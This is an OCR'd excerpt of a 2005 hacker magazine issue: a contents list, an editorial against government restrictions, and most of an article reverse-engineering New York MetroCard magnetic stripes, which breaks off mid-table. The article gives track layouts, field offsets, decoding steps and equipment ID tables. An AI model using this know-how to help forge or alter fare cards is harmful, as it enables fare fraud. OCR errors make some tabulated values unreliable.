




DETAILS 
Enemy of the People 

New York City's MTA Exposed! 

Electronic Application Insecurity 

Baking Cookies 

Voice Over Internet Protocol 

Hacking Cisco IP Phones 

Decrypting WS_FTP.ini Passwords 

Hunting Wifi Leeches 

Unlocking the Power of WAP 

Backdoor Exits from the US Military 

Blockbuster's Compass - Setting Sail for Port Bureaucracy 

How to Get Out of Google 

HP Printers: The Hidden Threat 

Disposable Email Vulnerabilities 

Magnetic Stripe Reading 

Letters 

Complete Scumware Removal 

More Fun with Netcat 

Potential Vulnerabilities in Shared Systems 

Inside the Emergency Alert System 

IPv6 Redux 

Marketplace 

Puzzle 

Meetings 

4 

7 

13 

14 

15 

16 

18 

19 

20 

21 

22 

23 

24 

25 

28 

32 

50 

51 

53 

55 

56 

58 

60 

62 



Enemy of the PeopJe 

If there is a theme to the things that we do 
and say, it lately seems that it would be the 
endless fight against the increasing restrictions 
of our society. Whether it's the latest govern­
ment crackdown on something that wasn't even 
a crime a decade ago or another corporate law­
suit against someone whose actions would have 
seemed completely harmless in another time or 
place, we cannot seem to shake this perpetual 
fight we're forced into. And, like most things, 
there is good and bad in this fact. 

Fighting is good. It keeps you awake and re­
defines what it is you stand for. Done properly, 
it can also open up a lot of eyes and bring a 
great number of people into the battle, hope­
fully on your side. But becoming a constant vic­
tim of what's going on around you isn't at all 
constructive. In some ways we seem to always 
expect things to get worse and when they do 
we're not surprised. And with that, we lose our 
outrage and replace it with resignation. 

We need to do everything in our power to 
avoid falling into that latter category. That's 
what we hope to accomplish in these pages - to 
challenge, to ask questions, to not be intimi­
dated into acquiescence. The only reason we've 
survived this long is because our readers have 
been there to encourage us and to prove that 
what we say and what we do actually counts for 
something. It's important to extend that reas­
surance all throughout the community - indi­
vidually and collectively - so that we not only 
survive but grow stronger. In this way it will in­
deed be possible to reverse the tide and build 
something positive. 

We all derive a fair amount of pleasure in 
listing the latest negative trends in our society. 
So let's take a little time to focus on some of 
the highlights. 

The recent actions of the Federal Communi­
cations Commission have been quite frighten­
ing in their zeal to restrict and punish speech 
that they disapprove of. Because of the trauma 
suffered due to the events of February 1, 2004 
(when part of Janet Jackson's breast was mo-

mentarily exposed to a nationwide audience), 
the FCC has made it its mission to become the 
morality police of the airwaves. Congress has 
jumped in on the act, apparently frightened by 
a few crusaders of decency into thinking that 
such restrictive views reflect those of the na­
tion. Their latest idea is to impose fines of 
$500,000 for each and every utterance of a 
word they disapprove of. While few would sup­
port the idea of turning the public airwaves 
into a bastion of gutter speech, what these 
threats have accomplished is to instill fear and 
force broadcasters to constantly err on the side 
of caution. Translation: no controversy, nothing 
outside the norm, and a great deal of paranoia. 
The result is a whole lot of blandness which is 
far worse than an occasional display of bad 
taste. 

We can almost laugh at absurdities like the 
Fraudulent Online Identity Sanctions Act which 
actually is being considered by the House of 
Representatives. It's designed to deal with one 
of the nation's biggest crises: people submit­
ting false information when registering Inter­
net domain names. While this in itself wouldn't 
be enough to get you convicted of a crime (yet), 
it can be used to significantly enhance penal­
ties if, for example, someone is sued over the 
content of a web page. Many whistle-blower 
and dissident websites would find it impossible 
to operate if they had to do so while giving out 
their real identities and locations. Yet such sites 
provide a very valuable service to the public. By 
adding this intimidation, it suddenly becomes a 
potential crime to try and remain anonymous. 

Equally absurd is a new law passed in Utah 
that requires Internet service providers to keep 
track of and provide a way to block access to 
pornographic websites. While this may sound 
attractive to a politician or a media outlet seek­
ing to whip up hysteria, this has always been 
something that a user could easily implement 
with varying degrees of success using different 
types of software. But now the ISP is being ex­
pected to take on this responsibility, somehow 
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keeping track of every website in the world that 
has material deemed "harmful to minors" and 
facing felony charges if they don't block access 
to them on demand. The mere creation and dis­
tribution of such a blacklist by the government 
is an incredible waste of time and effort at best. 
It's as ridiculous an expectation as what we see 
in many restrictive foreign regimes where the 
realities of the net simply aren't considered in 
the face of religious and/or totalitarian 
zealotry. Like so many other ill-advised bits of 
legislation lately, the power and responsibility 
of the individual is being overlooked in favor of 
proclamations from governmental agencies who 
really have no business dictating morality. 

None of this even begins to address the evils 
of the Patriot Act and its proposed successors, 
legislation drawn up and passed quickly in the 
wake of September 11 without debate or analy­
sis of any significance. We've devoted space in 
these pages in the past to the risks we all face 
as a result of this monumentally bad idea. No 
doubt we will continue to do so in the future. 
And this is certainly not something restricted 
by our borders. Recently the "Anti-Terror Law" 
was finally passed in Britain after much debate. 
This new law allows the authorities to detain 
British citizens as well as foreigners indefinitely 
and without charge if they are "terrorist sus­
pects," a classification which no doubt will be 
bent in all sorts of imaginative directions to 
suit the accusers. It also becomes the only 
country in the European Union to suspend the 
right to a fair trial in such circumstances. About 
the only bit of positive news to come out of this 
is that extensive debates won the right to have 
this law reviewed and possibly repealed in 
2006. Again, we are reminded of what Ben 
Franklin once said: "Those who would give up 
essential liberty for temporary safety deserve 
neither liberty nor safety." In a quote that 
seems to fit this categorization remarkably 
well, Prime Minister Tony Blair said, "Those con­
siderations of national security have to come 
before civil liberties however important they 
are." 

When you look closely at these trends and 
those that we have been covering over the 
years, it becomes clear that most of them have 
nothing to do with September 11, threats of at­
tack, wars and invasions, or anything else that 
we've lately become obsessed with. Rather, 
these incidents have become excuses for push­
ing policies that have been in the works for 
years. The element of fear that is constantly 

bombarding us is the best thing that could have 
happened for those who want more control, 
more surveillance, and a crackdown on dissent. 

When all is said and done, it's clear who the 
real enemy of the people is. While the mass me­
dia, government, and corporate world would 
like that enemy to be those who challenge the 
system, we believe they're in for a disappoint­
ment. That designation belongs to those who 
are hard at work dismantling the freedoms that 
we have all aspired to in the interests of "secu­
rity" or because they feel they have lost control. 
It's clear that they should lose control because 
it's obvious that power in their hands is not a 
good thing at all. 

The fact is most people get it. They have lit­
tle problem dealing with controversy, differing 
opinions, or common sense. They don't need to 
be talked down to or have their hands held at 
every step of the way. Most people understand 
that the world they live in isn't Disneyland and 
that an adult society doesn't have to be reduced 
to a child's level in order to be safe. But too 
many of these same people don't step up when 
others try and restrict what they can say, do, 
read, access, or even think. Maybe they assume 
someone else will do this for them. Maybe they 
think they're actually in the minority and ought 
to stay quiet for the purpose of self-preserva­
tion. Or perhaps they just don't take any of 
these people seriously and are content to laugh 
at them from the sidelines. All of these are pre­
cisely the reactions that the control seekers 
want more than anything. "All that is required 
for evil to triumph is for good men to do noth­
ing." We can't fall into that trap. 

What can we do? It's really simple. Unity on 
these issues is all we need. Wherever you find 
yourself in today's world, you have a voice and 
you can reach and influence people on all dif­
ferent levels. All it takes is the desire to do this 
and a little persistence. Educate yourself on the 
issues and why they matter. Bring it up at your 
place or work, in your school, to your parents, 
friends, or children. Don't be shrill or offensive. 
Put yourself in the position of other people and 
inject your insight into the equation so that you 
can effectively communicate why the issues 
that matter to you should also matter to them. 
This is how movements are born. And that is 
what we need if we hope to escape what is 
looming on the horizon. 
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"If tyranny and oppression come to this land, it 
will be in the guise of fighting a foreign enemy." 
- James Madison. 
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New Yorl 
IVI 

by Redbi rd 
redbi rd @2600.com 

In th is  artic le ,  I wi ll explai n m a ny of t he  i n n er 
worki ngs of the  New York City Tran sit Authority fare col­
lectio n  system a nd  expose the  content of MetroCards .  I 
wi ll start off with a descri pti o n  of the  various  d evices of 
t he  fare co llecti o n  system ,  proceeding i nto the  d etai ls 
of how to decode the MetroCard ' s  magnetic stri pe .  Th is  
arti c le i s  the  resu lt of m a ny h ours of experi mentati o n ,  
p lenty of c a s h  s pen t  o n  MetroCards (you 're welcome ,  
MTA ) ,  a n d  lots of h elp from severa l people .  I 'd  li ke to  
tha n k  everyone at 2600, Off The Hook, a n d  a ll t hose  
who  h ave ma i led i n  cards a n d  various  other i nforma­
ti o n .  

Becoming  fa m i liar with  h o w  magnetic stri pe  tech­
n o logy works wi ll he lp you understa n d  m uch  of what i s  
discussed i n  the  secti o n s  descri b i ng  how to decode 
MetroCards .  More i nformati o n  o n  th is ,  i n cludi ng addi­
tio n a l  reco m m ended read ing, can  be fou n d  i n  "Mag­
n etic Stri pe  Readi ng,"  a lso  in this i ssue .  

Terms 
These terms  wi l l  be used throughout the artic le: 
FSK - Frequency Shift Keying. A type of frequency 

m o d u lati o n  i n  which  the  sign a l's  frequency is s hifted 
between two discrete values .  

MVM - MetroCard Vending Machine. MVMs ca n be 
fou n d  i n  every s ubway stati o n .  They are the  large vend­
i ng  mach i nes which a ccept cash i n  additi o n  to credit 
a n d  debit. 

MEM - MetroCard Express Machine. MEMs are vend­
i ng  mach i n es that accept o n ly credit and debit. T hey are 
often located beside  a batch of MVMs. 

MTA - Metropolitan Transportation A uthority. A 
pub li c  benefit corporati o n  of the  State of New York re­
sponsi b le for i mplementi ng  a un ified mass  tra nsporta­
tio n  po li cy for New York City and counties withi n the  
"Transportati o n  District. " 

NYCTA - New York City Transit A uthority. Under t he  
contro l of the  MTA, the  NYCTA i s  a pub li c  benefit corpo­
rati o n  responsi b le for operati ng buses and subway 
trai n s  in New York City. 

RFM - Reduced-Fare MetroCard. RFMs are avai la b le 
to the  e lderly or peop le with qua lifyi ng disabi lities .  
Typical RFM fare i s  h a lf or less  than  h a lf of the  sta ndard 
fare. 

Common MetroCard. This  term wi ll refer to any  
MetroCard avai lab le to the  pub li c  without speci a l  re­
quirements .  Exam p les i n clude sta n dard pay-per- ri de  
cards, sta ndard u n li mited cards, a n d  si ngle-ri de  cards .  

Special MetroCard. Th is  term wi ll refer to any Metro­
Card not avai la ble to the general  p ub lic .  Exam p les 

i n clude reduced-fare cards ,  student  cards ,  a n d  
emp loyee cards .  

Single-Track MetroCard. Th i s  term wi ll refer to a ny 
MetroCard that ha s  a o ne-track magnetic stri pe  ( a l­
though there is no visi b le differen ce between the 
stri pes of these cards a nd  the  stri pes of two-track 
card s ) .  T he  fo llowi ng  types of cards are single-track: 
Si ngle-Ride  a n d  Bus Tra nsfer MetroCards .  

Dual-Track MetroCard. This  term wi ll refer to  a ll 
MetroCards with t he  excepti o n  of the  Si ngle-Track 
MetroCards m enti o n ed above. The  followi ng types of 
cards are some  exam p les of dua l-track cards: pay-per­
ride ,  pre-va lued,  u n li mited , a n d  reduced-fare. 

Passback Period. This term wi ll refer to the ti m e  pe­
ri od before an access device wi ll a llow you to use an u n ­
li mited card agai n after swip ing i t .  Duri ng  t h i s  peri od ,  
the  devices genera lly respond  with the  m essage "J UST 
USED" .  

Standard Cards and Standard Readers. These term s  
wi ll refer t o  cards contai n ing a magneti c stri pe  ( credit, 
ba n ki ng, etc. )  or readers of these cards that conform to 
the stan dards set forth in any or a ll of t he  followi ng ISO 
specificati on s: 7810, 7811 ,  7813 ,  a n d  4909. 

Cubic  Tran spo rtati o n  Systems 
The fare co llecti o n  system the MTA uses was 

developed by Cubic Transportati o n  Systems ,  a 
subsidiary of Cubic Corporati o n .  The  patents I fou n d  to 
be related to the  current New York City system fi led by 
Cubic Corporati o n  are as fo llows: 
4,877,179 - Farebox Security Device 
5,056,261 - Turnstile System 
5,072,543 - Turnstile Mechanism 
5,191,195 - Fare Card Read-Writer Which 
-Overwrites Oldest or Invalid Data 
5,215,383 - Ticket Stock and Ticket Dispenser 
5,298,726 - Fare Card Read-Writer Which 
-Overwrites Oldest or Invalid Data 
5,333,410 - Controllable Barrier System For 
... Preventing unpaid Admission to a Fee-Paid Area 
5,574,441 - Mass Transit Inductive Data 
-Conununication System 
5,612,684 - Mass Transit Inductive Data 
-Communication System 
6,595,416 - System For Rapidly Dispensing and 
-Adding Value to Fare Cards 
6,655,587 - Customer Administered Autoload 
6,789,736 - Distributed Architecture For 
-Magnetic Fare Card Processing 

Servici ng ,  apart from routi ne  collection  of 
fa res, on MTA equi pment seems to be done  by 
Cubic emp loyees, not the MTA. 

The M etroCard System 
At the core of the MTA fa re collecti on system 

is the MetroCa rd . Preceded by a token-based sys­
tem, the MetroCard is now used for every aspect 
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of fare co llection  and  a llows for fare options  that wou ld never have been p revious ly possi b le (e . g . ,  Em­
p loyee, Reduced-Fare ,  a nd  Student MetroCa rd s ) .  M etroCards can currently be  pu rchased at MVMs,  
M EMs ,  token booths ,  a nd  various merchants th roug hout the  New York City a rea . I wi ll categorize the  
MetroCa rd access devices i nto two types:  read ing  devices a n d  fa re co llection  devices. Both  of these  de­
vices a re networked i n  a comp lex system which a llows the  MTA, with in  mi n utes, to have up-to-date i n ­
fo rmation  on  every card t hat  has  been  issued.  This a lso a llows them to  disab le any ca rd at wi ll. T he  
h iera rchy of the network is  s hown be low (as described i n  patent 6 , 789 , 7 36 ) .  

PRIMARY CONTROl AAEA 

The physica l characteristi cs of MetroCa rds fo llow those of sta nda rd ca rds (see Terms) a lmost ex­
actly, but a re one  th i rd the thickness .  They have a d iagonal  notch cut out in the  upper- right hand  cor­
ner  3 1/8" from the left a nd  5/16" from the top of the  ca rd.  Additiona lly, they have a 1/8" diameter 
ho le,  with its center 1/4" from the left and 5/16"  from the top of the ca rd , which is  used to aid 
machi nes that suck your card i n  (bus fa re boxes, M EMs/MVMs, h andicapped entry/exit machines ,  etc. ) .  

Ve n di n g  M a chi n es 
M EMs and MVMs a re located th roughout the subway system .  They a llow you to pu rchase or  refi ll 

various common  MetroCards with either  cash  o r  a credit ca rd . RF Ms ca n 't be pu rchased at machi nes but 
ca n be refi lled .  On the front of the M EM or  MVM i s  a tag with the machine's un ique ID n um ber. 

The BIOS System Configu ration  screen from an MEM  looks li ke this :  
AMIBIOS System Configuration (e) 1985-1997, American Megatrends Inc., 

Main Processor 
Math Processor 
Floppy Drive A: 

Floppy Drive B: 

AMIBIDS Date 
Processor Clock 

Celeron(tm) 
Built-In 

None 

None 

07115195 
300A MHz 

ATA(PI) Device(s) Type 

Primary Master : Hard Disk 

per Devices: 

peI Onboard Bridge Device 
peI Onboard IDE 
peI Onboard VGA 

FPGA ver. C, Base Address: 500h 

BSP CPU ..... Microcode OK 

Size 

5729MB 

Base Memory Size 640KB 
Ext. Memory Size 14336KB 

Display Type VGA/EGA 

Serial Port(s) 3FB,2F8 

Parallel Port(a) 378 
External Cache 128KB,Enabled 

LEA 32Bit Block PIO 

Mode Mode Mode Mode 
LEA On 16Sec 4 

per Onboard USB Controller, IRQll 

per Onboard Ethernet, IRQ15 

I have no reason to beli eve that the  MVM ha rdwa re is a ny different. 
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Receipts 
Recei pts can be obtai ned from MEM  a nd  MVM machi nes by an sweri n g  "yes" when p rompted . They 

possess a lot of information about the  MEM/MVM, subway stati o n ,  a n d  ca rd . You can match a recei pt to 
a ca rd by compari n g  the  seri a l  n umbers.  Let's ta ke a look  at some sa mp les: 

M VM  RECEIPT MVM RECEIPT MEM RECEIPT 

MTA NYC TRANSIT MTA NYC TRANSIT MTA NYC TRANSIT 

ASTOR PLACE NASSAU AV & MANHATTAN AV 14TH STREET & 6TH AVENUE 

NEW YORK CITY NY NEW YORK CITY NY NEW YORK CITY NY 

MVM #: 0545(R219 0701) MVM #: 1738(N408A 0500) MEM #: 5383(N513 0400) 

Sun 14 Nov 04 21:28 

Trans: Sale OK 

Payment Mode: Cash 

Amount: 

Card Value: 
Change Due: 

$ 7.00 

$ 0.00 
$ 3.00 

Serial #:1059909877 

Type: 023 

I-DAY UNLIMITED 

Questions? 

Call (212) METROCARD 

Mon 04 Oct 04 14:22 

Trans: Sale OK 

Payment Mode: Credit 

Amount: $ 21. 00 

Card Value: $ 0.00 

Credit Card #: XX5346 

Auth#: 000008 

Ref #: 060615762129 

Serial #: 1027066848 
Type: 024 

7-DAY UNLIMITED 

Questions? 

Call (212) METROCARD 

Wed 17 Nov 04 12:14 

Trans: Add Time OK 

Amount: $ 10.50 

Ini tial Type: 030 

7-DAY RFM UNLIMITED 
Time Added: 030 

7-DAY RFM UNLIMITED 

ATM Card #: XX0952 

Auth#: 760346 

Ref #: 029089559668 

Serial #:0987218036 

Questions? 

Call (212) METROCARD 

Most of the  information  on the  recei pt is fai r ly obvious ,  but n otice the  li n e  that begi n s  with  "MEM  
#" o r  "MVM  #" .  T he  fi rst fou r  digits correspond  to  the  actua l M EM o r  MVM  ID n umber  as  found  on  t he  
mach ine .  The next letter a n d  fo llowi ng  t h ree digits i n side the  parenthesis correspond to  the  closest 
token booth . This ID ca n a lso be found  on  the booth itself. The meani ng  of the next fou r  digits i s  cur­
rently un known . H owever, they a re un ique to each machi ne  that has  the  same booth ID ,  but a re not 
un ique among  mach ines with different booth IDs .  They seem to si mp ly be a un ique ID for each 
M EM/MVM i n  the  stati on ,  possi b ly g rouped by location . See "M EM/MVMs" for a tab le .  

Now look  to the  bottom of the  recei pt. The li n e  that begi n s  with "Type: "  (o r  "Initia l Type : "  if a n  RF M 
is bei n g  refi lled)  gives the  n u merica l ca rd subtype value fo llowed by a descri ption  of the  type on the  
fo llowi n g  li ne .  

Receipts pu rchased with a credit ca rd contai n additiona l  fields that a llow the MTA to verify the 
credit card ho lder  i n  the  case that he/she  decides to lose the  MetroCa rd .  

Turn sti Les 
The use of a turnsti le i s  the most common  way to enter the su bway. Entry i s  granted by swip ing  a 

va li d  MetroCa rd th rough  the reader/writer located on the outsi de  of each turnsti le. Once swiped ,  the 
LCD di sp lay on the turnsti le wi ll di sp lay a message. Some common  messages: 
GO. Message disp layed fo r U n li mited MetroCards. 
GO. 1 RIDE LEFT. Message di sp layed fo r Student MetroCa rds ,  where "1" is  the  n umber  of rides left for 
the  day. 
JUST USED. The pass back period  for the U n li mited MetroCard is  n ot up .  
GO. 1 XFER OK. Message di sp layed when  transferri n g  from a bu s .  

Above the LCD  there a re a series of round  ind icators. O f  these, one  has  an  a rrow poi nti n g  i n  the  di­
rection  of the turnsti le i n  which you wou ld enter after payi ng  you r  fa re, and another reads "No "  and a 
do-not-enter bar  which ,  when lit, i n dicates that the turnsti le is not active. After payi ng  you r  fa re, an ­
othe r  i n dicato r below the g reen a rrow li g hts to  i n dicate that  you  may p roceed th rough  the  turnsti le 
without smash ing  you r  g roi n i nto the a rm .  

Above those, there a re th ree ho rizonta l bar  i n dicators contai ned withi n a rectangu la r  cutout. When  
a Reduced-Fare MetroCard i s  swiped ,  the  top  i ndicato r ( red)  wi ll li g ht. When  a Student MetroCa rd i s  
swi ped ,  the  midd le i n dicato r (yellow) wi ll li g ht. When an  Emp loyee MetroCard is  swi ped ,  the  bottom 
i ndicato r (the color of which I 'm unsu re of) wi ll li ght. These i n dicators a re present on both sides of the  
turn sti les a nd  they a llow tran sit cops ,  many of whom a re undercover, to  monitor the types of cards  be­
ing used by ri ders .  This he lps detect, for examp le, when Student MetroCards a re bei n g  used at times 
when school  i s  not i n  session  o r  when an  obvious  misuse of an  Emp loyee or  Reduced-Fare MetroCa rd 
occurs. 

S p r i n 9 r D D 5 ------------------------ P a g e  'f 



Readi n g  M etroCa rds 
MetroCards a re relatively difficu lt to read .  You wi ll not be ab le to read them with off-th e-shelf mag­

netic stri pe readers ,  so p lease don 't waste you r  money. The reason for this i s  not that  the  format i s  dif­
ferent; MetroCa rds use Ai ken B iphase (a lso known as frequency shift keyi n g  ( FSK ) )  j ust li ke standa rd 
ca rds .  H owever, the  ha rdwa re that sh ips with these readers is desi gned for a com p letely different ( and  
well-documented) specifi cati o n .  They requi re many "clocki n g  bits , "  which consist of a stri n g  of zero­
bits at the  begi n ni n g  of the stri pe to aid i n  setti ng  a reference frequency fo r decodi ng .  Additiona lly, 
most readers a lso look  for a standa rd start a n d  end  senti ne l  that exi sts on standa rd cards to denote 
the  sta rt of a pa rti cula r track. On top of that, cha racters on these cards a re defi n ed as either  fou r  o r  
six bit b locks (dependi ng on  the  track) a n d  contai n a longitud ina l  redundancy check ( LRC) cha racter 
after the  end  sentine l  to verify data i ntegrity. Need less to say, M etroCards don 't have a ny of these 
properti es and contai n fields of a rbitra ry length;  thus, a nother  method of readi n g  and decodi n g  is re­
quired. 

Fortunately, magnetic heads a re everywhere (e . g . ,  cassette tape p layers) and the  output from mag­
netic h eads  when passed over a magnetic stri pe  consists of vo ltage spi kes i n  the  aud ib le frequency 
ra nge .  Si nce sound  cards a re excellent AID converters fo r this ra nge  of i n put and  a re readi ly avai lab le 
a n d  very cheap ,  we can use the  microphone  i nput interfaced to a magnetic h ead  for the pu rpose of 
creati n g  ou r  own reader  (fo r  a lot less than  the  MTA is payi n g ,  I 'm su re ! ) .  See the  a rti cle "Magnetic 
Stri pe Read ing"  i n  this issue for mo re detai ls . 

Fo r the  same  reason that read ing was i nitia lly diffi cu lt, writi n g  to MetroCa rds is extremely diffi cu lt, 
a nd  is sti ll a work-i n-progress which wi ll not be discussed i n  this a rti cle. A techn ique  similar to that of 
the  decoder  (i n reverse) ca n be used to write to cards, a lthough  it is m uch mo re difficu lt to i m p lement 
and obvious ly requi res more equi pment than j ust a sound card and a magnetic h ead .  Fo r those of you 
who rea lize how this can be done and have the  a bi lity to bui ld the  equi pment, kudos,  but keep in m ind  
the ra mifications  of  bei n g  caught  usi n g  a ca rd you  wrote to you rself. Modifyi n g  the  data on cards does 
work. But the  MetroCard system is very comp lex and  a llows fo r the  su rvei lla n ce of this sort of activity. 
The goa l  of this p roject is to lea rn how the system works, how it can be theoretica lly defeated , but cer­
tai n ly n ot to get stuck i n  p ri so n .  

Apa rt from these difficulties, MetroCa rd tracks a re defined  as fo llows: Dua l-Track MetroCards have 
two tracks - one  track bei ng  twice the  width of the other  - a nd  wi ll be referred to as track 1-2 a n d  track 
3; Paper MetroCa rds have one track which wi ll be referred to as track 1-2. These track names (as I 
refer to them)  correspond to the  same  track fields that have been estab li shed by ISO 7811. 

Decodi n g  DuaL-Tra c k  M etro C a rd s  - Tra c k  3 
Track 3 on Dua l-Track MetroCards contai ns static data . It is written when the  card is p roduced a n d  

the  seri a l  n u m ber  is p ri nted on  the  back,  a nd  is n o t  written t o  thereafter by  any machi ne .  S ome  data 
found  on this track can a lso be found  by looki n g  at the i nformation  p ri nted on  the back of the ca rd . 
The track format is as fo llows : 

Track 3 Content Offset Length 
---------------

1: Start Sentinel 15 
2: Card Type 15 4 
3: Unknown 19 4 
4: Expiration Date 23 12 
5: unknown 35 4 
6: Constant 39 8 
7: Unknown 47 8 
8: Serial Number 55 80 
9: Unused 135 16 

10: unknown 151 16 
11: End Sentinel 167 93 

Decodi n g  track 3 is accomp li shed as fo llows: 
1. Constant: 000000011000111 
2. Convert binary to dedmal 

* See "Card Types " for a lookup table. 
3. Use is not yet known 
4. To determine the expiration date for common MetroCards: 

* Convert binary to dedmal 
* Divide the dedmal value by 2, round up 
* Convert the dedmal value to year / month format  as follows: 

o Year: Integer value of the dedmal value divided by 12 
o Month: Value of the modulus of the dedmal value and 12 

* Add 1992 to the year 
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* The expiration date is the last day of the previous month 
* Note: Non-common MetroCards seem to have different date 
offsets 

* Note: This expiration date is the date the physical card can 
no longer be used and is considered invalid. See the track 
1-2 expiration date field for more information. 

5. Use is not yet known 
6. Constant: 00001101 
7. Use is not yet known 
8. Convert binary to decimal 
9. Unused field 

10. Use is not yet known 
11. Constant: 

00100101001100100110100101100101010011001010010 
1001100110101010011010010101001101001010110101 

Decodi n g  DuaL-Tra c k  M etroC a rd s  - Tra c k  1-2 
Track 1-2 on Dua l-Track MetroCa rds contai ns  va ri ab le data . It is written to by every mach ine  used 

for fa re collecti on ,  readi n g  devices excluded .  Interesti n g ly enoug h ,  track 1-2  does not o n ly contai n i n ­
fo rmation pertai ni ng  to  the  last u se ,  but  a lso to  the u se  before that. These two records a re sepa rated 
by a stra nge  set of fie ld sepa rati ng  bits, which contai ns  in it a bit that seems to be  h a lf of the one-bit 
frequency (which i s  a non-standa rd use of FSK ) .  The most reli ab le way to fi nd  the second  track i s  to 
sea rch for a second  start senti ne l, both of which a re i dentica l fo r each record . The track format is  as  
fo llows : 

Content Offset Length 
--------------------

1: Start Sentinel 0 10 
2: Time 10 2 
3: Card Sub-Type 12 6 
4: Time 18 6 
5: Date 24 10 
6: Times Used 34 6 
7: Expiration Date 40 10 
8: Transfer Bit 50 1 
9: Last Used ID 51 15 

10: Card Value 66 16 
11: Purchase ID 82 16 
12: Unknown 98 20 

Decodi n g  track 1-2 is accom p li shed  as fo llows: 

1. Constant: 0011010111 
2. See 4 
3. Convert binary to decimal 

* The card sub-type corresponds to the sub-type as indicated 
on the receipt if one was obtained from an MEM/MVM. 

* See "Card Types" for a lookup table. 
4. To deal with the limited storage space on the MetroCard stripe, 

each bit in this field and field (2) represents 6 minutes. To 
determine the last time used for common MetroCards: 

* Concatenate the binary from (2) with the binary from this 
field 

* Convert to decimal 
* Multiply decimal value by 6 
* Result is the number of minutes since 01:00 that the card 
was last used 

5. Convert binary to decimal 
* This field contains the last usage date, which can be 
determined by calculating an offset based on a card of the 
same type with a last usage on a known date. However, since 
this field only has 10 bits, dates will most likely roll 
over after 1024 (2AlO) days and a new offset will have to be 
determined. Offsets also seem to differ with different types 
of MetroCards. 

6. Convert binary to decimal 
* The times used field is incremented every time you use the 
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card to pay a fare except during a transfer. In that case, the 
transfer bit is set and the times used fieLd remains the same. 

7. Con vert binary to decimaL 
• Determine offset based on the description in 5 to determine 
the exact expiration date of  a card. A LternativeLy, subtract 
the date fieLd from this fieLd to determine how many days 
after the Last usage the card expires. 

• Do not confuse this fieLd with the expiration date fieLd on 
track 3; it is onLy used on cards which expire a set number 
of days after you first use them (e.g. , unlimited cards) and 
wiLL not be set for cards such as pay-per-ride which do not 
have an  expiration date. 

8. Bit is 1 if the Last use was for a transfer, 0 otherwise 
9. Convert binary to decimaL 

• This fieLd seems to have a compLeteLy separate Lookup tabLe 
tha t  is used internaLly by the fare coLlection system. 

• See "Last Used IDs " for a Lookup tabLe. 
1 0. Con vert binary to decimaL 

• The resuLt is the vaLue remain ing on the card in cents. 
1 1 .  Convert binary to decimaL 

• This fieLd seems to have a compLeteLy separate Lookup tabLe 
that  is used internaLly by the fare coLlection system to match 
the vaLue of  this fieLd with an MVM ID number (such as those 
you can find on receipts). 

Card Types (partial) 
TYpe Subtype Description 

FULL FARE 
PRE-VALUED 
PRE-VALUED ($10.00) 
PRE-VALUED ($2.00) 
Long Island Rail Road 
PRE-VALUED ($4.00) 

o 
o 
o 
o 
o 
o 
o 
o 
o 

o 
10 
12 
13 
14 
19 
23 

24 

25 
26 
29 

I-DAY UNLIMITED ($2.00 fare) 
7-DAY UNLIMITED ($2.00 fare) 
7-day Express Bus Unlimited ($4.00 fare) 
30-DAY UNLIMITED ($2.00 fare) 
AIRTRAIN 

30 7-DAY RPM UNLIMITED ($2.00 fare) 
43 TransitChek 
46 TransitChek 
47 TransitChek 

o 
o 
4 
4 
4 

48 
56 
57 
59 
62 
87 
2 
5 
13 

Transi tChek 3D-DAY UNLIMITED 
I-DAY UNLIMITED ($1. 50 fare) 
7-DAY UNLIMITED ($1.50 fare) 
30-DAY UNLIMITED ($1.50 fare) 
SingleRide ($1.50 fare) 
SingleRide ($2.00 fare) 
Two-Trip Special Program Pass 
Grades 7-12 
1/2 Fare - Grades K-12 

Last Used IDs (partial) 
ID Location 

1513 14th StlUnion Sq 
1519 8th StlBroadway (A39) 
1880 Lexington Ave (N601) 
1942 ASTOR PLACE (R219) 
2157 34th St/6th Ave (NS06) 
2204 42nd St/Grand Central 

2278 9th street PATH 

MEll/MVMs (partial) 
Location Type 

14TH ST. - UNION SQUARE MVM 

14TH ST. - UNION SQUARE MVM 

14TH ST. - UNION SQUARE MVM 

14TH ST. - UNION SQUARE MVM 
14TH ST. - UNION SQUARE MVM 

14TH ST. - UNION SQUARE MVM 

14TH ST. - UNION SQUARE MVM 
14TH ST. - UNION SQUARE MVM 
14TH ST. - UNION SQUARE MVM 

8TH STREET & BROADWAY MEM 

8TH STREET & BROADWAY MEM 
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ID 

0530 (A033 

0400(A033 

0481 (A033 

1122(A034 
0216(A034 

0215(A034 

1370(A035 

0541 (A037 

0265(A037 

5462(A039 
5662(A038 

0400) 

0700) 

0701) 

0400) 
0700) 

0701) 

0700) 

0700) 

0701) 

0400) 
0401) 
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ST & FT. HAMILTON MVM 0982(C028 0700) 

14TH STREET & 8TH AVE MEM 5314(H001 0702) 
1ST AVE & 14TH STREET MVM 1358(H007 0700) 

1ST AVE & 14TH STREET MVM 1145(H007 0701) 

175 ST/FT. WASHINGTON AV MVM 1632(N010 0400) 

175 ST/FT. WASHINGTON AV MVM 1611(N010 0700) 

175 ST/FT. WASHINGTON AV MEM 5274(N010 0701) 

W 4TH ST - WASHINGTON SQ MVM 0321 (N080 0700) 

W 4TH ST - WASHINGTON SQ MVM 0109(N080 0701) 
FORDHAM ROAD MVM 0550(N218 0700) 

LEXINGTON AVE - 3RD AVE MVM 0740(N305 0401) 

NASSAU AV & MANHATTAN AV MVM 1738(N408A 0500) 

34TH STREET/SIXTH AVENUE MVM 1428(N506 0702) 

34TH STREET/SIXTH AVENUE MVM 0540(N507 0701) 

14TH STREET & 6TH AVENUE MEM 5383(N513 0400) 
CHRISTOPHER STREET MVM 0637(R125 0700) 

CHRISTOPHER STREET MVM 0063(R125 0701) 

14TH STREET - 7TH AVENUE MVM 0294(R127 0400) 

14TH STREET - 7TH AVENUE MVM 1643(R127 0401) 

14TH STREET - 7TH AVENUE MVM 0357(Rl27 0700) 

14TH STREET - 7TH AVENUE MVM 0376(Rl27 0701) 

34TH STREET-PENN STATION MVM 0553(R138 0701) 

WALL STREET & BROADWAY MVM 1123 (R203 0400) 

WALL STREET & BROADWAY MVM 1038(R203 0700) 

ASTOR PLACE MVM 0654(R219 0400) 

ASTOR PLACE MVM 0586(R219 0700) 
ASTOR PLACE MVM 0545(R219 0701) 

ASTOR PLACE MVM 0744(R220 0700) 
ASTOR PLACE MVM 0318(R220 0701) 

14TH ST. - UNION SQUARE MVM 0576(R221 0400) 

14TH ST. - UNION SQUARE MVM 0514(R221 0401) 

14TH ST. - UNION SQUARE MVM 0475(R221 0700) 

14TH ST. - UNION SQUARE MVM 0564(R221 0701) 

